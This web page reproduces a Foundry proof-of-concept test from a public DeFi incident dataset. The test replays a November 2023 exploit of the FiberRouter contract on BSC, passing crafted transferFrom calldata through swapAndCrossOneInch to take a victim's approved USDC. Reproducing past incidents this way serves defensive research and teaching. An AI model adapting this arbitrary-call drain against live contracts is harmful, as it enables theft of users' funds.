Public reproduction file
src/test/2023-11/FiberRouter_exp.sol
Public reproduction file for dataset entry FiberRouter.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX::https://app.blocksec.com/explorer/tx/bsc/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c18// GUY : https://x.com/MetaSec_xyz/status/17293232546100022779// Profit : ~59 USDC10interface FiberRouter {11 function swapAndCrossOneInch(12 address swapRouter,13 uint256 amountIn,14 uint256 amountCrossMin, // amountOutMin on uniswap15 uint256 crossTargetNetwork,16 address crossTargetToken,17 address crossTargetAddress,18 uint256 swapBridgeAmount,19 bytes memory _calldata,20 address fromToken,21 address foundryToken22 ) external;23}25contract ContractTest is Test {26 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));27 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);28 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));29 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);30 FiberRouter fiberrouter = FiberRouter(0x4826e896E39DC96A8504588D21e9D44750435e2D);31 address victim = 0x4da35bf35504D77e5C5E9Db6a35B76eB4479306a;32 IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);33 address crossToken = 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E;35 event log_Data(bytes data);37 function setUp() external {38 cheats.createSelectFork("bsc", 33_874_498);39 deal(address(wbnb), address(this), 1 ether);40 }42 function testExploit() external {43 emit log_named_decimal_uint("[Begin] Attacker USDC before exploit", usdc.balanceOf(address(this)), 18);44 attack();45 emit log_named_decimal_uint("[End] Attacker USDC after exploit", usdc.balanceOf(address(this)), 18);46 }48 function attack() public {49 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", usdc.balanceOf(address(victim)), 18);50 uint256 victim_balance = usdc.balanceOf(address(victim));51 wbnb.approve(address(pancakeRouter), 99_999 ether);52 address[] memory swapPath = new address[](2);53 swapPath[0] = address(wbnb);54 swapPath[1] = address(usdc);55 pancakeRouter.swapExactETHForTokens{value: 0.0000001 ether}(56 1, swapPath, address(fiberrouter), block.timestamp + 2057 );58 bytes memory datas = abi.encodePacked(59 abi.encodeWithSignature(60 "transferFrom(address,address,uint256)", address(victim), address(this), victim_balance61 )62 );63 emit log_Data(datas);64 fiberrouter.swapAndCrossOneInch(65 address(usdc),66 0,67 1,68 43_114,69 address(crossToken),70 address(crossToken),71 0,72 datas,73 address(usdc),74 address(usdc)75 );76 }77}Analysis
Dataset entry
Public Foundry test for “FiberRouter” (2023-11-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- FiberRouter
- Path
- src/test/2023-11/FiberRouter_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2fdee78c9535db7532069b8a6e076af12f920b8d
- Language
- Solidity
- Size
- 78 lines
- Date
- 2023-11-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/FiberRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2fdee78c9535db7532069b8a6e076af12f920b8d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.